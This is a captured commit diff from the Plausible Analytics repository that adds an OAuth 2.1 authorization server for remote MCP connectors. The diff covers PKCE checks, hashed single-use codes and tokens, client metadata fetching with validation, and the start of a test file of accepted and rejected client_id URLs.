Skip to content

Open source, privacy-first web analytics. Lightweight, cookie-free Google Analytics alternative. Self-hosted or cloud.

Implement OAuth authorization server core functions (#6684)

Artur Pata7fe6f5a5455f
diff --git a/config/test.exs b/config/test.exs
index c6d1369eee..a76b865cdb 100644
--- a/config/test.exs
+++ b/config/test.exs
@@ -68,6 +68,11 @@ config :plausible, Plausible.InstallationSupport.Checks.VerifyInstallation,
plug: {Req.Test, Plausible.InstallationSupport.Checks.VerifyInstallation}
]
+config :plausible, Plausible.OAuth.CIMD,
+ req_opts: [
+ plug: {Req.Test, Plausible.OAuth.CIMD}
+ ]
+
config :plausible, Plausible.Session.Salts, interval: :timer.hours(1)
config :plausible, max_goals_per_site: 10
diff --git a/lib/plausible/oauth.ex b/lib/plausible/oauth.ex
new file mode 100644
index 0000000000..bd31b576d1
--- /dev/null
+++ b/lib/plausible/oauth.ex
@@ -0,0 +1,239 @@
+defmodule Plausible.OAuth do
+ @moduledoc """
+ Minimal OAuth 2.1 authorization server used to authenticate remote MCP
+ connectors (e.g. Claude) against Plausible.
+
+ Handles the grant lifecycle: creating an authorization code, redeeming it once,
+ then issuing, resolving and revoking the tokens that follow. Validation lives in
+ `Plausible.OAuth.PKCE`, `Plausible.OAuth.CIMD` and
+ `Plausible.OAuth.ProtectedResources`.
+
+ Only the `authorization_code` grant is implemented at the token endpoint;
+ redeeming a refresh token is not wired up yet.
+ """
+
+ use Plausible.Repo
+
+ alias Plausible.OAuth.{AuthorizationCode, Grant, PKCE, ProtectedResources, Token}
+ alias Plausible.Teams.{Membership, Memberships}
+
+ @authorization_code_ttl_seconds 600
+ @access_token_ttl_seconds 3600
+ @refresh_token_ttl_seconds 30 * 24 * 3600
+
+ @roles_with_oauth Membership.roles!([:owner, :admin, :editor, :billing, :viewer])
+
+ @type token_response() :: %{
+ access_token: String.t(),
+ refresh_token: String.t(),
+ token_type: String.t(),
+ expires_in: pos_integer(),
+ scope: String.t()
+ }
+
+ @spec access_token_ttl_seconds() :: pos_integer()
+ def access_token_ttl_seconds(), do: @access_token_ttl_seconds
+
+ @spec refresh_token_ttl_seconds() :: pos_integer()
+ def refresh_token_ttl_seconds(), do: @refresh_token_ttl_seconds
+
+ @doc """
+ Creates a single-use authorization code bound to the given user and team.
+
+ `attrs` must carry `:client_id`, `:redirect_uri`, `:code_challenge`,
+ `:code_challenge_method`, `:resource` and a non-empty `:scopes` list, and may
+ carry `:client_name`.
+
+ `:resource` and `:scopes` are re-resolved here rather than trusted from the
+ caller, since the consent screen was rendered by a separate request.
+
+ Returns the raw code - only its hash is stored, so this is the only point
+ where the raw value exists.
+ """
+ @spec create_authorization_code(Plausible.Auth.User.t(), Plausible.Teams.Team.t(), map()) ::
+ {:ok, String.t()}
+ | {:error, Ecto.Changeset.t() | :invalid_scope | :invalid_target | :not_a_member}
+ def create_authorization_code(user, team, attrs) do
+ with :ok <- validate_role(Memberships.team_role(team, user)),
+ {:ok, resource} <- normalize_resource(attrs[:resource]),
+ {:ok, scopes} <- ProtectedResources.normalize_granted_scopes(attrs[:scopes], resource) do
+ code = Token.generate(:code)
+
+ changeset =
+ AuthorizationCode.changeset(%{
+ code_hash: code.hash,
+ client_id: attrs.client_id,
+ client_name: attrs[:client_name],
+ redirect_uri: attrs.redirect_uri,
+ code_challenge: attrs.code_challenge,
+ code_challenge_method: attrs.code_challenge_method,
+ scopes: scopes,
+ resource: ProtectedResources.get_resource_url(resource),
+ user_id: user.id,
+ team_id: team.id,
+ expires_at: NaiveDateTime.add(now(), @authorization_code_ttl_seconds, :second)
+ })
+
+ with {:ok, _auth_code} <- Repo.insert(changeset), do: {:ok, code.raw}
+ end
+ end
+
+ @doc """
+ Consumes an authorization code and validates it against what the client
+ presented at the token endpoint: `:verifier`, `:client_id`, `:redirect_uri`
+ and `:resource`. Every one of those must equal the value bound to the code at
+ authorize-time.
+
+ `:client_id` is checked even though PKCE already proves possession of the
+ verifier, as required by
+ [token endpoint extension section](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1#name-token-endpoint-extension).
+
+ The row is deleted on lookup whether or not the later checks pass, so a code
+ can only ever be redeemed once.
+
+ To redeem the code, the user must still have a role in the team.
+ """
+ @type presented_grant() :: %{
+ required(:verifier) => String.t(),
+ required(:client_id) => String.t(),
+ required(:redirect_uri) => String.t(),
+ required(:resource) => String.t()
+ }
+
+ @spec consume_authorization_code(String.t(), presented_grant()) ::
+ {:ok, AuthorizationCode.t()} | {:error, :invalid_grant}
+ def consume_authorization_code(code, presented) when is_binary(code) do
+ with {:ok, auth_code} <- delete_and_fetch_code(Token.hash(code)),
+ :ok <- check_not_expired(auth_code.expires_at),
+ :ok <-
+ PKCE.verify(
+ auth_code.code_challenge,
+ presented.verifier,
+ auth_code.code_challenge_method
+ ),
+ :ok <- match(auth_code.client_id, presented.client_id),
+ :ok <- match(auth_code.redirect_uri, presented.redirect_uri),
+ :ok <- match(auth_code.resource, presented.resource),
+ :ok <-
+ validate_role(
+ Memberships.team_role(team_id: auth_code.team_id, user_id: auth_code.user_id)
+ ) do
+ {:ok, auth_code}
+ else
+ _ -> {:error, :invalid_grant}
+ end
+ end
+
+ def consume_authorization_code(_code, _presented), do: {:error, :invalid_grant}
+
+ defp delete_and_fetch_code(code_hash) do
+ query = from(c in AuthorizationCode, where: c.code_hash == ^code_hash, select: c)
+
+ case Repo.delete_all(query) do
+ {1, [code]} -> {:ok, code}
+ {0, _} -> {:error, :invalid_grant}
+ end
+ end
+
+ @doc """
+ Creates a grant from a consumed authorization code, inheriting its client,
+ scopes, resource, user and team.
+
+ Issues an access and a refresh token together. Both raw values are returned
+ once here and only their hashes are kept.
+ """
+ @spec issue_token(AuthorizationCode.t()) ::
+ {:ok, token_response()} | {:error, Ecto.Changeset.t()}
+ def issue_token(%AuthorizationCode{} = auth_code) do
+ access = Token.generate(:access)
+ refresh = Token.generate(:refresh)
+ now = now()
+
+ changeset =
+ Grant.changeset(%{
+ client_id: auth_code.client_id,
+ client_name: auth_code.client_name,
+ scopes: auth_code.scopes,
+ resource: auth_code.resource,
+ user_id: auth_code.user_id,
+ team_id: auth_code.team_id,
+ access_token_hash: access.hash,
+ access_token_hint: access.hint,
+ access_token_expires_at: NaiveDateTime.add(now, @access_token_ttl_seconds, :second),
+ refresh_token_hash: refresh.hash,
+ refresh_token_hint: refresh.hint,
+ refresh_token_expires_at: NaiveDateTime.add(now, @refresh_token_ttl_seconds, :second)
+ })
+
+ with {:ok, _grant} <- Repo.insert(changeset) do
+ {:ok,
+ %{
+ access_token: access.raw,
+ refresh_token: refresh.raw,
+ token_type: "Bearer",
+ expires_in: @access_token_ttl_seconds,
+ scope: Enum.join(auth_code.scopes, " ")
+ }}
+ end
+ end
+
+ @doc """
+ Looks up the grant a raw access token belongs to, preloading the bound user
+ and team.
+
+ `resource` is the protected resource the token is presented to. A token issued
+ for a different resource is not found.
+
+ Expired, revoked and wrong-resource tokens all return `{:error, :invalid_token}`
+ ([see error codes](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1#name-error-codes)).
+ """
+ @spec find_access_token(String.t(), ProtectedResources.t()) ::
+ {:ok, Grant.t()} | {:error, :invalid_token}
+ def find_access_token(raw_access, resource) when is_binary(raw_access) do
+ resource_url = ProtectedResources.get_resource_url(resource)
+
+ query =
+ from(g in Grant,
+ where:
+ g.access_token_hash == ^Token.hash(raw_access) and
+ g.resource == ^resource_url and
+ g.access_token_expires_at > ^now() and
+ is_nil(g.revoked_at),
+ preload: [:user, :team]
+ )
+
+ with %Grant{team_id: team_id, user_id: user_id} = grant <- Repo.one(query),
+ :ok <-
+ [team_id: team_id, user_id: user_id]
+ |> Memberships.team_role()
+ |> validate_role() do
+ {:ok, grant}
+ else
+ _ -> {:error, :invalid_token}
+ end
+ end
+
+ defp normalize_resource(resource) do
+ case ProtectedResources.get_by_url(resource) do
+ {:ok, protected_resource} -> {:ok, protected_resource}
+ {:error, :not_found} -> {:error, :invalid_target}
+ end
+ end
+
+ defp check_not_expired(expires_at) do
+ if NaiveDateTime.compare(expires_at, now()) == :gt do
+ :ok
+ else
+ {:error, :invalid_grant}
+ end
+ end
+
+ defp validate_role({:ok, role}) when role in @roles_with_oauth, do: :ok
+ defp validate_role(_), do: {:error, :not_a_member}
+
+ defp match(same, same), do: :ok
+ defp match(_, _), do: {:error, :invalid_grant}
+
+ # Second precision matches the stored `:naive_datetime` columns.
+ defp now(), do: NaiveDateTime.utc_now(:second)
+end
diff --git a/lib/plausible/oauth/authorization_code.ex b/lib/plausible/oauth/authorization_code.ex
index 9e12a45ee1..b415e7c095 100644
--- a/lib/plausible/oauth/authorization_code.ex
+++ b/lib/plausible/oauth/authorization_code.ex
@@ -9,6 +9,7 @@ defmodule Plausible.OAuth.AuthorizationCode do
@type t() :: %__MODULE__{}
@code_challenge_methods ["S256"]
+ @code_challenge_length 43
@required [
:code_hash,
@@ -17,11 +18,12 @@ defmodule Plausible.OAuth.AuthorizationCode do
:code_challenge,
:code_challenge_method,
:resource,
+ :scopes,
:expires_at,
:user_id,
:team_id
]
- @optional [:scopes, :client_name]
+ @optional [:client_name]
schema "oauth_authorization_codes" do
field :code_hash, :string
@@ -32,7 +34,7 @@ defmodule Plausible.OAuth.AuthorizationCode do
field :code_challenge, :string
field :code_challenge_method, :string
- field :scopes, {:array, :string}, default: []
+ field :scopes, {:array, :string}
field :expires_at, :naive_datetime
belongs_to :user, Plausible.Auth.User
@@ -47,8 +49,12 @@ defmodule Plausible.OAuth.AuthorizationCode do
|> cast(attrs, @required ++ @optional)
|> validate_required(@required)
|> validate_inclusion(:code_challenge_method, @code_challenge_methods)
+ |> validate_length(:scopes, min: 1)
+ |> validate_length(:code_challenge, is: @code_challenge_length, count: :bytes)
|> validate_length(:client_name, max: 255)
|> validate_length(:client_id, max: 2048, count: :bytes)
+ |> validate_length(:redirect_uri, max: 2048, count: :bytes)
+ |> validate_length(:resource, max: 2048, count: :bytes)
|> unique_constraint(:code_hash)
end
end
diff --git a/lib/plausible/oauth/cimd.ex b/lib/plausible/oauth/cimd.ex
new file mode 100644
index 0000000000..93834b058d
--- /dev/null
+++ b/lib/plausible/oauth/cimd.ex
@@ -0,0 +1,244 @@
+defmodule Plausible.OAuth.CIMD do
+ @moduledoc """
+ This module fetches and validates [Client ID Metadata Documents](https://datatracker.ietf.org/doc/draft-ietf-oauth-client-id-metadata-document/).
+ """
+
+ @fetch_timeout 5_000
+ @max_metadata_bytes 1_000_000
+ @max_client_name_length 255
+ @max_client_id_length 2048
+ @max_redirect_uri_length 2048
+ @reserved_response_params ~w(code state error error_description iss)
+
+ @doc """
+ Fetches the document at `client_id` and validates it.
+
+ The `client_id` is validated first, so an invalid one costs no DNS lookup.
+ """
+ @spec fetch(String.t()) :: {:ok, map()} | {:error, atom() | Exception.t()}
+ def fetch(client_id) do
+ with :ok <- validate_client_id(client_id),
+ {:ok, body} <- ssrf_get(client_id),
+ {:ok, doc} <- decode_metadata(body),
+ :ok <- validate_document(doc, client_id) do
+ {:ok, doc}
+ end
+ end
+
+ @doc """
+ Validates a `client_id`.
+ Must
+ - use `https` scheme
+ - have path component (`/` counts as a path component)
+ - not have userinfo, e.g. `https://[email protected]`
+ - not have fragment, e.g. `https://example.com/doc#foobar`
+ - not have dot segments, e.g. `https://example.com/metadata/./..`
+ """
+ @spec validate_client_id(String.t() | term()) ::
+ :ok | {:error, :client_id_not_https | :invalid_client_id | :client_id_too_long}
+ def validate_client_id(url) when is_binary(url) and byte_size(url) > @max_client_id_length do
+ {:error, :client_id_too_long}
+ end
+
+ def validate_client_id(url) when is_binary(url) do
+ case URI.parse(url) do
+ %URI{scheme: "https", host: host, userinfo: nil, fragment: nil, path: path}
+ when is_binary(host) and host != "" and is_binary(path) and path != "" ->
+ if dot_segments?(path), do: {:error, :invalid_client_id}, else: :ok
+
+ %URI{scheme: "https", host: host} when is_binary(host) and host != "" ->
+ {:error, :invalid_client_id}
+
+ _ ->
+ {:error, :client_id_not_https}
+ end
+ end
+
+ def validate_client_id(_), do: {:error, :client_id_not_https}
+
+ # Detects `.` and `..` path segments, including when they're encoded as `%2e` and `%2E`.
+ defp dot_segments?(path) do
+ path
+ |> String.split("/")
+ |> Enum.any?(fn segment ->
+ (segment |> String.downcase() |> String.replace("%2e", ".")) in [".", ".."]
+ end)
+ end
+
+ defp ssrf_get(url) do
+ opts =
+ [receive_timeout: @fetch_timeout, decode_body: false]
+ |> Keyword.merge(Application.get_env(:plausible, __MODULE__, [])[:req_opts] || [])
+
+ case Plausible.SSRF.get(url, opts) do
+ {:ok, %Req.Response{status: 200, body: body}} when is_binary(body) ->
+ if byte_size(body) > @max_metadata_bytes do
+ {:error, :client_metadata_too_large}
+ else
+ {:ok, body}
+ end
+
+ {:ok, %Req.Response{}} ->
+ {:error, :client_metadata_unavailable}
+
+ {:error, reason} ->
+ {:error, reason}
+ end
+ end
+
+ defp decode_metadata(body) do
+ case JSON.decode(body) do
+ {:ok, doc} when is_map(doc) -> {:ok, doc}
+ _ -> {:error, :invalid_client_metadata}
+ end
+ end
+
+ @spec validate_document(map(), String.t()) ::
+ :ok
+ | {:error,
+ :client_id_mismatch
+ | :missing_redirect_uris
+ | :invalid_redirect_uris
+ | :invalid_client_name}
+ def validate_document(doc, client_id) do
+ with :ok <- validate_self_reference(doc, client_id),
+ :ok <- validate_redirect_uris(doc["redirect_uris"]) do
+ validate_client_name(doc["client_name"])
+ end
+ end
+
+ @doc """
+ Checks that the document's own `client_id` is the URL it was fetched from.
+ """
+ @spec validate_self_reference(map(), String.t()) :: :ok | {:error, :client_id_mismatch}
+ def validate_self_reference(doc, client_id) do
+ if doc["client_id"] == client_id, do: :ok, else: {:error, :client_id_mismatch}
+ end
+
+ @doc """
+ Validates a metadata document's `redirect_uris` entry.
+
+ Accepts redirect URIs with format
+ - `https://` URL
+ - `http://` URL on a loopback host
+ - custom scheme when it contains a dot (e.g. `io.plausible://...`)
+
+ The URI must
+ - use one of the supported schemes
+ - not have a fragment
+ - not include userinfo
+ - not contain a reserved authorization response parameter in its query
+
+ All redirect_uris entries must be valid.
+ """
+ @spec validate_redirect_uris(term()) ::
+ :ok | {:error, :missing_redirect_uris | :invalid_redirect_uris}
+ def validate_redirect_uris(redirect_uris) when is_list(redirect_uris) and redirect_uris != [] do
+ if Enum.all?(redirect_uris, &valid_redirect_uri?/1) do
+ :ok
+ else
+ {:error, :invalid_redirect_uris}
+ end
+ end
+
+ def validate_redirect_uris(_redirect_uris), do: {:error, :missing_redirect_uris}
+
+ defp valid_redirect_uri?(uri)
+ when is_binary(uri) and byte_size(uri) <= @max_redirect_uri_length do
+ case URI.parse(uri) do
+ %URI{fragment: fragment} when not is_nil(fragment) -> false
+ %URI{userinfo: userinfo} when not is_nil(userinfo) -> false
+ %URI{query: query} = parsed -> not contains_reserved_param?(query) and valid_origin?(parsed)
+ end
+ end
+
+ defp valid_redirect_uri?(_uri), do: false
+
+ defp valid_origin?(%URI{scheme: "https", host: host}), do: is_binary(host) and host != ""
+ defp valid_origin?(%URI{scheme: "http", host: host}), do: loopback_host?(host)
+ defp valid_origin?(_uri), do: false
+
+ defp contains_reserved_param?(nil), do: false
+
+ defp contains_reserved_param?(query) do
+ Enum.any?(URI.query_decoder(query), fn {name, _value} -> name in @reserved_response_params end)
+ rescue
+ ArgumentError -> true
+ end
+
+ @doc """
+ Validates a metadata document's `client_name` entry.
+ """
+ @spec validate_client_name(term()) :: :ok | {:error, :invalid_client_name}
+ def validate_client_name(nil), do: :ok
+
+ def validate_client_name(name) when is_binary(name) do
+ if String.trim(name) != "" and String.length(name) <= @max_client_name_length and
+ not unreadable?(name) do
+ :ok
+ else
+ {:error, :invalid_client_name}
+ end
+ end
+
+ def validate_client_name(_name), do: {:error, :invalid_client_name}
+
+ # Control characters (C0, DEL, C1) truncate or garble the name when its displayed.
+ # Bidi overrides `U+202A`-`U+202E` and isolates `U+2066`-`U+2069`
+ # reorder the glyphs around them. Therefore, names containing such characters are unreadable and forbidden.
+ defp unreadable?(name) do
+ name
+ |> String.to_charlist()
+ |> Enum.any?(fn codepoint ->
+ codepoint <= 0x1F or codepoint in 0x7F..0x9F or
+ codepoint in 0x202A..0x202E or codepoint in 0x2066..0x2069
+ end)
+ end
+
+ @doc """
+ Checks whether a requested `redirect_uri` is registered in a CIMD document's
+ `redirect_uris`.
+
+ Non-loopback URIs must match exactly. For loopback URIs (`localhost`,
+ `127.0.0.1`, `[::1]`) the port - and only the port - may differ, per
+ [registration requirements](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1#name-registration-requirements)
+ and [RFC 8252 §7.3](https://www.rfc-editor.org/rfc/rfc8252.html#section-7.3),
+ because a native client binds a random port it cannot know in advance.
+
+ Every other component must match exactly, so adding a query string to a
+ registered loopback URI does not match it. Scheme and host are compared
+ case-insensitively (RFC 3986 sections 3.1 and 3.2.2), nothing else is.
+ """
+ @spec redirect_uri_registered?(String.t() | nil, [String.t()]) :: boolean()
+ def redirect_uri_registered?(redirect_uri, registered) when is_binary(redirect_uri) do
+ redirect_uri in registered or loopback_match?(redirect_uri, registered)
+ end
+
+ def redirect_uri_registered?(_redirect_uri, _registered), do: false
+
+ defp loopback_match?(redirect_uri, registered) do
+ uri = URI.parse(redirect_uri)
+
+ loopback_host?(uri.host) and
+ Enum.any?(registered, fn candidate ->
+ registered_uri = URI.parse(candidate)
+
+ loopback_host?(registered_uri.host) and equal_but_for_port?(registered_uri, uri)
+ end)
+ end
+
+ defp loopback_host?(host), do: downcase(host) in ["localhost", "127.0.0.1", "::1"]
+
+ defp equal_but_for_port?(%URI{} = a, %URI{} = b) do
+ downcase(a.scheme) == downcase(b.scheme) and
+ is_nil(a.userinfo) and
+ is_nil(b.userinfo) and
+ downcase(a.host) == downcase(b.host) and
+ a.path == b.path and
+ a.query == b.query and
+ a.fragment == b.fragment
+ end
+
+ defp downcase(nil), do: nil
+ defp downcase(value), do: String.downcase(value)
+end
diff --git a/lib/plausible/oauth/grant.ex b/lib/plausible/oauth/grant.ex
index daf6efc455..fb967a905b 100644
--- a/lib/plausible/oauth/grant.ex
+++ b/lib/plausible/oauth/grant.ex
@@ -20,13 +20,13 @@ defmodule Plausible.OAuth.Grant do
:access_token_hint,
:access_token_expires_at,
:resource,
+ :scopes,
:refresh_token_hash,
:refresh_token_hint,
:refresh_token_expires_at
]
@optional [
:client_name,
- :scopes,
:previous_refresh_token_hash,
:rotated_at,
:revoked_at,
@@ -39,7 +39,7 @@ defmodule Plausible.OAuth.Grant do
# Copied verbatim from the remote metadata document, e.g. `Claude Code`
field :client_name, :string
# The granted scopes, e.g. `["stats:read:*","sites:read:*"]`
- field :scopes, {:array, :string}, default: []
+ field :scopes, {:array, :string}
# The resource this grant is for, e.g. `https://plausible.io/mcp`
field :resource, :string
@@ -86,7 +86,9 @@ defmodule Plausible.OAuth.Grant do
|> cast(attrs, @required ++ @optional)
|> validate_required(@required)
|> validate_length(:client_name, max: 255)
+ |> validate_length(:scopes, min: 1)
|> validate_length(:client_id, max: 2048, count: :bytes)
+ |> validate_length(:resource, max: 2048, count: :bytes)
|> unique_constraint(:access_token_hash)
|> unique_constraint(:refresh_token_hash)
end
diff --git a/lib/plausible/oauth/pkce.ex b/lib/plausible/oauth/pkce.ex
new file mode 100644
index 0000000000..e7fb003598
--- /dev/null
+++ b/lib/plausible/oauth/pkce.ex
@@ -0,0 +1,33 @@
+defmodule Plausible.OAuth.PKCE do
+ @moduledoc """
+ PKCE ([RFC 7636](https://www.rfc-editor.org/rfc/rfc7636.html)) verification for
+ the authorization code flow.
+ """
+
+ @code_verifier_min_length 43
+ @code_verifier_max_length 128
+
+ @doc """
+ Verifies a code verifier against a stored challenge.
+ Only `S256` is accepted; `plain` and unknown methods are rejected.
+
+ The verifier must be #{@code_verifier_min_length}-#{@code_verifier_max_length}
+ characters long. Checked before the digest, so an out-of-range verifier is
+ refused even when it hashes to the challenge.
+ """
+ @spec verify(String.t(), String.t() | nil, String.t()) :: :ok | {:error, :invalid_grant}
+ def verify(challenge, verifier, "S256")
+ when is_binary(challenge) and is_binary(verifier) and
+ byte_size(verifier) >= @code_verifier_min_length and
+ byte_size(verifier) <= @code_verifier_max_length do
+ computed = :crypto.hash(:sha256, verifier) |> Base.url_encode64(padding: false)
+
+ if Plug.Crypto.secure_compare(computed, challenge) do
+ :ok
+ else
+ {:error, :invalid_grant}
+ end
+ end
+
+ def verify(_challenge, _verifier, _method), do: {:error, :invalid_grant}
+end
diff --git a/lib/plausible/oauth/protected_resources.ex b/lib/plausible/oauth/protected_resources.ex
index 5e126e2c10..9752f84da8 100644
--- a/lib/plausible/oauth/protected_resources.ex
+++ b/lib/plausible/oauth/protected_resources.ex
@@ -2,11 +2,70 @@ defmodule Plausible.OAuth.ProtectedResources do
@moduledoc """
The protected resources the OAuth authorization server will issue tokens for.
Each authorization grant is associated with a particular resource.
+
+ Resources are identified by clients by their full URL, e.g. "https://plausible.io/mcp".
"""
+ @type t() :: %{
+ resource_path: String.t(),
+ scopes_supported: [String.t()]
+ }
+
+ @spec mcp() :: t()
def mcp(),
do: %{
resource_path: "/mcp",
scopes_supported: [Plausible.Auth.Scopes.sites_read()]
}
+
+ defp resources(), do: [mcp()]
+
+ @spec all() :: [String.t()]
+ def all(), do: Enum.map(resources(), &get_resource_url/1)
+
+ @spec get_resource_url(t()) :: String.t()
+ def get_resource_url(resource), do: PlausibleWeb.Endpoint.url() <> resource.resource_path
+
+ @spec get_by_url(String.t()) :: {:ok, t()} | {:error, :not_found}
+ def get_by_url(resource_url) when is_binary(resource_url) do
+ Enum.find_value(resources(), {:error, :not_found}, fn resource ->
+ if get_resource_url(resource) == resource_url, do: {:ok, resource}
+ end)
+ end
+
+ def get_by_url(_resource_url), do: {:error, :not_found}
+
+ @doc """
+ Normalizes a space-delimited `scope` request parameter.
+ Defaults to all scopes that the resource supports.
+ """
+ @spec normalize_requested_scopes(String.t() | nil, t()) ::
+ {:ok, [String.t()]} | {:error, :invalid_scope}
+ def normalize_requested_scopes(scope, resource) when is_nil(scope) or is_binary(scope) do
+ case String.split(scope || "", " ", trim: true) do
+ [] -> {:ok, resource.scopes_supported}
+ requested -> normalize_granted_scopes(requested, resource)
+ end
+ end
+
+ def normalize_requested_scopes(_scope, _resource), do: {:error, :invalid_scope}
+
+ @doc """
+ Normalizes a scopes list to the order the resource specifies.
+ Rejects the whole list if it names a scope the resource does not support,
+ which can happen when a scope is withdrawn (or refactored) after the list was stored.
+ """
+ @spec normalize_granted_scopes([String.t()], t()) ::
+ {:ok, [String.t()]} | {:error, :invalid_scope}
+ def normalize_granted_scopes(scopes, resource) when is_list(scopes) and scopes != [] do
+ supported = resource.scopes_supported
+
+ if Enum.all?(scopes, &(&1 in supported)) do
+ {:ok, Enum.filter(supported, &(&1 in scopes))}
+ else
+ {:error, :invalid_scope}
+ end
+ end
+
+ def normalize_granted_scopes(_scopes, _resource), do: {:error, :invalid_scope}
end
diff --git a/lib/plausible/oauth/token.ex b/lib/plausible/oauth/token.ex
new file mode 100644
index 0000000000..685336485d
--- /dev/null
+++ b/lib/plausible/oauth/token.ex
@@ -0,0 +1,66 @@
+defmodule Plausible.OAuth.Token do
+ @moduledoc """
+ Generates and hashes OAuth access tokens and authorization codes.
+
+ Only the hash and a short trailing hint are persisted - the raw value is
+ returned once at creation and never stored.
+ """
+
+ use Plausible
+
+ # Bytes of entropy; the encoded value is truncated back to this many characters.
+ @random_length 64
+ @hint_length 4
+
+ @type kind() :: :access | :refresh | :code
+
+ @doc """
+ Generates a random, prefixed value of the given kind, returning the `:raw`
+ value to hand out once, its `:hash` to persist, and a displayable `:hint`.
+ """
+ @spec generate(kind()) :: %{raw: String.t(), hash: String.t(), hint: String.t()}
+ def generate(kind) do
+ raw = "#{plaintext_prefix(kind)}-#{random_value()}"
+
+ %{raw: raw, hash: hash(raw), hint: String.slice(raw, -@hint_length, @hint_length)}
+ end
+
+ @doc """
+ Hashes a raw token or code.
+ """
+ @spec hash(String.t()) :: String.t()
+ def hash(raw) when is_binary(raw) do
+ :crypto.hash(:sha256, raw)
+ |> Base.encode16()
+ |> String.downcase()
+ end
+
+ @doc """
+ Plain-text prefix identifying the kind of value and the environment, so that
+ tools like GitHub secret scanning can spot a leaked token.
+ """
+ @spec plaintext_prefix(kind()) :: String.t()
+ def plaintext_prefix(kind) do
+ extra =
+ case kind do
+ :access -> "at"
+ :refresh -> "rt"
+ :code -> "ac"
+ end
+
+ on_ee do
+ case Application.get_env(:plausible, :environment) do
+ "prod" -> "plausible-oauth-#{extra}"
+ env -> "plausible-oauth-#{extra}-#{env}"
+ end
+ else
+ "plausible-oauth-#{extra}-selfhost"
+ end
+ end
+
+ defp random_value() do
+ :crypto.strong_rand_bytes(@random_length)
+ |> Base.url_encode64()
+ |> binary_part(0, @random_length)
+ end
+end
diff --git a/lib/plausible/teams/membership.ex b/lib/plausible/teams/membership.ex
index c7fec4593b..7bc97a7000 100644
--- a/lib/plausible/teams/membership.ex
+++ b/lib/plausible/teams/membership.ex
@@ -27,6 +27,14 @@ defmodule Plausible.Teams.Membership do
def roles(), do: @roles
+ @spec roles!([atom()]) :: [role()]
+ def roles!(roles) do
+ case roles -- roles() do
+ [] -> roles
+ unknown -> raise ArgumentError, "unknown roles: #{inspect(unknown)}"
+ end
+ end
+
def changeset(team, user, role) do
%__MODULE__{}
|> change()
diff --git a/lib/plausible/teams/memberships.ex b/lib/plausible/teams/memberships.ex
index b318642256..32ca5f5ae7 100644
--- a/lib/plausible/teams/memberships.ex
+++ b/lib/plausible/teams/memberships.ex
@@ -45,11 +45,19 @@ defmodule Plausible.Teams.Memberships do
@spec team_role(Teams.Team.t(), Auth.User.t()) ::
{:ok, Teams.Membership.role()} | {:error, :not_a_member}
- def team_role(team, user) do
+ def team_role(%Teams.Team{} = team, %Auth.User{} = user),
+ do: team_role(team_id: team.id, user_id: user.id)
+
+ @spec team_role(team_id: pos_integer(), user_id: pos_integer()) ::
+ {:ok, Teams.Membership.role()} | {:error, :not_a_member}
+ def team_role(opts) when is_list(opts) do
+ team_id = Keyword.fetch!(opts, :team_id)
+ user_id = Keyword.fetch!(opts, :user_id)
+
result =
from(u in Auth.User,
inner_join: tm in assoc(u, :team_memberships),
- where: tm.team_id == ^team.id and tm.user_id == ^user.id,
+ where: tm.team_id == ^team_id and tm.user_id == ^user_id,
select: tm.role
)
|> Repo.one()
diff --git a/lib/plausible_web/controllers/oauth/metadata_controller.ex b/lib/plausible_web/controllers/oauth/metadata_controller.ex
index 1d1b77e1a6..bf3f4d19cd 100644
--- a/lib/plausible_web/controllers/oauth/metadata_controller.ex
+++ b/lib/plausible_web/controllers/oauth/metadata_controller.ex
@@ -5,9 +5,10 @@ defmodule PlausibleWeb.OAuth.MetadataController do
use PlausibleWeb, :controller
+ alias Plausible.OAuth.ProtectedResources
alias PlausibleWeb.Endpoint
- @mcp Plausible.OAuth.ProtectedResources.mcp()
+ @mcp ProtectedResources.mcp()
@doc """
Serves the [RFC 9728 Protected Resource Metadata](https://www.rfc-editor.org/rfc/rfc9728.html#name-protected-resource-metadata)
@@ -16,7 +17,7 @@ defmodule PlausibleWeb.OAuth.MetadataController do
"""
def mcp_protected_resource(conn, _params) do
json(conn, %{
- resource: Endpoint.url() <> @mcp.resource_path,
+ resource: ProtectedResources.get_resource_url(@mcp),
authorization_servers: [Endpoint.url()],
scopes_supported: @mcp.scopes_supported,
bearer_methods_supported: ["header"]
@@ -39,7 +40,6 @@ defmodule PlausibleWeb.OAuth.MetadataController do
grant_types_supported: ["authorization_code"],
code_challenge_methods_supported: ["S256"],
token_endpoint_auth_methods_supported: ["none"],
- scopes_supported: @mcp.scopes_supported,
client_id_metadata_document_supported: true
})
end
diff --git a/test/plausible/oauth/cimd_test.exs b/test/plausible/oauth/cimd_test.exs
new file mode 100644
index 0000000000..1bcb205da3
--- /dev/null
+++ b/test/plausible/oauth/cimd_test.exs
@@ -0,0 +1,351 @@
+defmodule Plausible.OAuth.CIMDTest do
+ use ExUnit.Case, async: true
+ use Plausible.Test.Support.DNS
+
+ alias Plausible.OAuth.CIMD
+
+ @client_id "https://client.example.com/oauth-metadata"
+ @redirect_uri "https://client.example.com/callback"
+
+ describe "validate_client_id/1" do
+ test "accepts an https URL with a path component" do
+ for client_id <- [
+ @client_id,
+ "https://client.example.com/",
+ "https://client.example.com/.well-known/oauth-client.json",
+ @client_id <> String.duplicate("a", 2048 - byte_size(@client_id))
+ ] do
+ assert :ok = CIMD.validate_client_id(client_id)
+ end
+ end
+
+ test "rejects a client_id that is not https" do
+ for client_id <- ["http://client.example.com/meta", "/oauth-metadata", nil] do
+ assert {:error, :client_id_not_https} = CIMD.validate_client_id(client_id)
+ end
+ end
+
+ test "rejects userinfo, a fragment, a missing path or dot segments" do
+ for client_id <- [
+ "https://[email protected]/meta",
+ "https://user:[email protected]/meta",
+ @client_id <> "#frag",
+ @client_id <> "#",
+ "https://client.example.com",
+ "https://client.example.com?a=b",
+ "https://client.example.com/a/../meta",
+ "https://client.example.com/./meta",
+ "https://client.example.com/meta/..",
+ "https://client.example.com/%2e%2e/meta",
+ "https://client.example.com/.%2E/meta"
+ ] do
+ assert {:error, :invalid_client_id} = CIMD.validate_client_id(client_id)
+ end
+ end
+
+ test "rejects a client_id past the length limit" do
+ client_id = @client_id <> String.duplicate("a", 2049 - byte_size(@client_id))
+
+ assert {:error, :client_id_too_long} = CIMD.validate_client_id(client_id)
+ end
+ end
+
+ describe "validate_document/2" do
+ test "accepts a document that passes every rule" do
+ doc = %{
+ "client_id" => @client_id,
+ "redirect_uris" => [@redirect_uri],
+ "client_name" => "Claude"
+ }
+
